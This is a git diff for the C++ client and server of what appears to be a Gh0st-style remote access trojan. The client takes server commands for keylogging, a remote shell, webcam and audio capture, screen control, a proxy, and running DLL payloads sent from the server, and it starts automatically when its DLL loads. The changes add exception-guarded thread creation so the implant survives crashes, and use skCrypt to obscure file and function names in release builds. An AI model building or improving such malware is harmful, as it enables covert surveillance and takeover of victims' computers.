diff --git a/client/Audio.cpp b/client/Audio.cpp index 42b71af..73b4678 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -6,6 +6,12 @@ #include "Audio.h" #include +#ifdef _WINDOWS +#define __CreateThread CreateThread +#else +#include "SafeThread.h" +#endif + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -108,7 +114,7 @@ BOOL CAudio::InitializeWaveIn() MMRESULT mmResult; DWORD dwThreadID = 0; - m_hThreadCallBack = m_Thread = CreateThread(NULL, 0, + m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0, waveInCallBack, (LPVOID)this, CREATE_SUSPENDED, &dwThreadID); diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 107aa94..caf0fbc 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -30,7 +30,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag WaitForDialogOpen(); //等待对话框打开 szPacket = NULL; - m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); + m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); } diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 8ec4c32..ad38c80 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -69,7 +69,7 @@ DWORD WINAPI StartClientApp(LPVOID param) { do { bExit = S_CLIENT_NORMAL; - HANDLE hThread = CreateThread(NULL, 0, StartClient, app, 0, NULL); + HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); @@ -254,7 +254,7 @@ int main(int argc, const char *argv[]) std::vector handles(CLIENT_PARALLEL_NUM); for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) { auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE); - handles[i] = CreateThread(0, 64*1024, StartClientApp, client->SetID(i), 0, 0); + handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0); if (handles[i] == 0) { Mprintf("线程 %d 创建失败,错误: %d\n", i, errno); } @@ -301,7 +301,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, case DLL_PROCESS_ATTACH: { g_MyApp.g_hInstance = (HINSTANCE)hInstance; - CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); + CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); break; } case DLL_PROCESS_DETACH: @@ -324,7 +324,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) app.SetProcessState(S_CLIENT_NORMAL); settings.SetServer(szServerIP, uPort); - HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL); + HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL); if (hThread == NULL) { app.SetThreadRun(FALSE); return; @@ -477,7 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam) for (int i=1; i + @@ -212,6 +213,7 @@ + diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 699ed75..012ae0b 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -236,6 +236,8 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) si.lpDesktop = "WinSta0\\Default"; CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); return true; } diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 2da53de..1f4f8c7 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -103,6 +103,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask, int en m_Manager = NULL; m_masker = mask ? new HttpMask("example.com") : new PkgMask(); auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); + m_EncoderType = encoder; m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); #ifdef _WIN32 WSADATA wsaData; @@ -268,7 +269,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } if (m_hWorkThread == NULL){ #ifdef _WIN32 - m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; #else pthread_t id = 0; diff --git a/client/IOCPClient.h b/client/IOCPClient.h index f1a5236..6b525eb 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -18,6 +18,7 @@ #include "common/header.h" #define NO_AES #include "common/encrypt.h" +#include "SafeThread.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 @@ -41,6 +42,7 @@ public: } virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} + virtual EncFun GetHeaderEncoder() const { return nullptr; } }; class HellEncoder : public ProtocolEncoder { @@ -70,6 +72,9 @@ public: virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override { return m_BodyEnc->Decode(data, len, param); } + virtual EncFun GetHeaderEncoder() const override { + return m_HeaderEnc; + } }; class IOCPManager { @@ -181,4 +186,5 @@ protected: int m_nHostPort; bool m_exit_while_disconnect; PkgMask* m_masker; + BOOL m_EncoderType; }; diff --git a/client/IOCPUDPClient.cpp b/client/IOCPUDPClient.cpp index 9a8c6f9..53c2d55 100644 --- a/client/IOCPUDPClient.cpp +++ b/client/IOCPUDPClient.cpp @@ -36,7 +36,7 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) // 创建工作线程(如果需要) if (m_hWorkThread == NULL) { #ifdef _WIN32 - m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; #else pthread_t id = 0; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 26309d1..0dbb2bc 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -31,7 +31,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { tKeyboard.run = FOREVER_RUN; tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType()); tKeyboard.conn = conn; - tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); + tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; } @@ -295,7 +295,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } if (data) { PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); - CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); + CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); } #endif @@ -304,7 +304,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_PROXY: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -313,7 +313,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch (szBuffer[1]) { case SHARE_TYPE_YAMA: { auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); - if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0)); + if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); break; } case SHARE_TYPE_HOLDINGHANDS: @@ -340,10 +340,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_KEYBOARD: //键盘记录 { if (m_hKeyboard) { - CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); + CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; } @@ -352,28 +352,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = m_hInstance; - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHELL: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //远程进程管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //远程窗口管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -402,42 +402,42 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = user; - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); - m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } diff --git a/client/SafeThread.cpp b/client/SafeThread.cpp new file mode 100644 index 0000000..0914eba --- /dev/null +++ b/client/SafeThread.cpp @@ -0,0 +1,97 @@ +#include "stdafx.h" +#include "SafeThread.h" +#include +#include + +// RoutineInfo 记录线程相关信息. +typedef struct RoutineInfo +{ + DWORD tid; // 线程ID + + LPTHREAD_START_ROUTINE Func; // 线程函数 + LPVOID Param; // 线程参数 + + OnException Excep; // 异常处理函数 + LPVOID User; // 额外参数 + + std::string File; // 创建线程的文件 + int Line; // 文件行数 + std::string Name; // 函数名称 + bool Trace; // 追踪线程运行情况 + +}RoutineInfo; + +DWORD HandleCppException(RoutineInfo& ri) { + try { + return ri.Func(ri.Param); // 调用实际线程函数 + } + catch (const std::exception& e) { + if (ri.Excep) { + Mprintf("[%d] 捕获 C++ 异常: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] 捕获 C++ 异常: %s. 没有提供异常处理程序[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + } + catch (...) { + if (ri.Excep) { + Mprintf("[%d] 捕获未知 C++ 异常. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] 捕获未知 C++ 异常. 没有提供异常处理程序[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line); + } + return 0xDEAD0002; +} + +DWORD HandleSEHException(RoutineInfo & ri) { + __try { + // 执行实际线程函数 + return HandleCppException(ri); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (ri.Excep) { + Mprintf("[%d] 捕获硬件异常,线程不会崩溃. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + return ri.Excep(ri.User, ri.Param); + } + Mprintf("[%d] 捕获硬件异常. 没有提供异常处理程序[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + return 0xDEAD0001; // 返回错误状态 + } +} + +// 通用异常包装函数 +DWORD WINAPI ThreadWrapper(LPVOID lpParam) { + RoutineInfo *ri = (RoutineInfo *)lpParam; + ri->tid = GetCurrentThreadId(); + RoutineInfo pRealThreadFunc = *ri; + delete ri; + + if (pRealThreadFunc.Trace) + { + CAutoLog Log(pRealThreadFunc.Name.c_str()); + // 异常捕获 + return HandleSEHException(pRealThreadFunc); + } + // 异常捕获 + return HandleSEHException(pRealThreadFunc); +} + +// 创建带异常保护的线程,记录创建线程的文件、行数和函数名称 +HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { + + if (excep) assert(user); // 异常处理函数和参数必须同时提供 + if (excep && !user) { + Mprintf("[ERROR] 提供了异常处理函数但 user 为 NULL, 拒绝创建线程[%s:%d]!\n", file, line); + return NULL; + } + + auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 }; + + HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId); + if (!hThread) { + Mprintf("[ERROR] 创建线程失败:GetLastError=%lu [%s:%d]\n", GetLastError(), file, line); + delete ri; + return NULL; + } + + return hThread; +} diff --git a/client/SafeThread.h b/client/SafeThread.h new file mode 100644 index 0000000..c53348a --- /dev/null +++ b/client/SafeThread.h @@ -0,0 +1,17 @@ +#pragma once +#include "stdafx.h" +#include "common/skCrypter.h" + +typedef DWORD (*OnException)(LPVOID user, LPVOID param); + +// 创建带异常保护的线程 +HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + +#if USING_SAFETHRED +#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6) +#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p4),p1,p2,p3,p4,p5,p6,p7) +#else +#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateThread(nullptr,0,p3,p4,p5,p6) +#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateThread(nullptr,p3,p4,p5,p6,p7) +#endif diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index fa42e41..899e101 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -59,7 +59,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_rclickPoint = {}; m_rclickWnd = nullptr; - m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL); + m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } @@ -106,7 +106,8 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) { szDirectoryName, &sInfo, &pInfo); - + CloseHandle(pInfo.hProcess); + CloseHandle(pInfo.hThread); TCHAR* pszError = NULL; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index cc4a451..b40450f 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -101,7 +101,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag WaitForDialogOpen(); - m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL); + m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL); } DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) diff --git a/client/StdAfx.h b/client/StdAfx.h index 9fab1ea..8cf5d11 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -24,8 +24,13 @@ #pragma once #endif // _MSC_VER > 1000 +#ifdef _DEBUG // 检测内存泄漏,需安装VLD;否则请注释此行 #include "vld.h" +#define USING_SAFETHRED 0 +#else +#define USING_SAFETHRED 1 +#endif // Insert your headers here #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 2e62646..53fcd74 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -22,7 +22,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan m_CapVideo.Open(0,0); // 开启 lpBuffer = NULL; - m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL); + m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); } diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 27f4eed..a6be105 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -190,6 +190,7 @@ + @@ -223,6 +224,7 @@ + diff --git a/client/proxy/ProxyManager.cpp b/client/proxy/ProxyManager.cpp index c6de04f..4b1b2a2 100644 --- a/client/proxy/ProxyManager.cpp +++ b/client/proxy/ProxyManager.cpp @@ -79,7 +79,7 @@ void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize) arg.pThis = this; arg.lpBuffer = lpBuffer; AddThread(1); - CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL)); + CloseHandle((HANDLE)__CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL)); while (arg.lpBuffer) Sleep(2); } @@ -90,7 +90,7 @@ void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize) arg.lpBuffer = lpBuffer; arg.len = nSize; AddThread(1); - CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL)); + CloseHandle((HANDLE)__CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL)); while (arg.lpBuffer) Sleep(2); } diff --git a/common/commands.h b/common/commands.h index ad0fc77..254d088 100644 --- a/common/commands.h +++ b/common/commands.h @@ -593,7 +593,11 @@ public: superAdmin = std::strtoull(buf, NULL, 16); } int GetHeaderEncType() const { +#ifdef _DEBUG + return iHeaderEnc; +#else return superAdmin == 7057226198541618915 ? iHeaderEnc : 0; +#endif } int FlagLen() const { return strlen(szFlag); diff --git a/common/mask.h b/common/mask.h index 6b01a3f..7ad12b3 100644 --- a/common/mask.h +++ b/common/mask.h @@ -1,6 +1,6 @@ #pragma once -#include "commands.h" +#include "header.h" // 鏁版嵁鍖呭崗璁皝瑁呮牸寮 // Copy left: 962914132@qq.com & ChatGPT diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index a1e3542..2c69785 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -242,7 +242,6 @@ - @@ -382,7 +381,6 @@ - @@ -404,12 +402,10 @@ - - diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index c8031cb..1ce6ccd 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -131,12 +131,10 @@ - - @@ -150,7 +148,6 @@ - @@ -180,7 +177,6 @@ - diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 38ead68..29b1285 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -845,7 +845,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) int iicon = GetIconIndex(pszFileName, nType); nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index 9fc0f1a..8b27c5e 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -717,7 +717,7 @@ void CMachineDlg::ShowHostsList() LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); int i = 0; - char* buf; + char* buf=nullptr; char* lpString = (char*)lpBuffer; const char* d = "\n"; char* p = strtok_s(lpString, d, &buf); @@ -1658,7 +1658,7 @@ void CMachineDlg::ShowHostsList_menu() DeleteList(); int i = 0; - char* buf; + char* buf=nullptr; char* lpString = (char*)lpBuffer; const char* d = "\n"; char* p = strtok_s(lpString, d, &buf);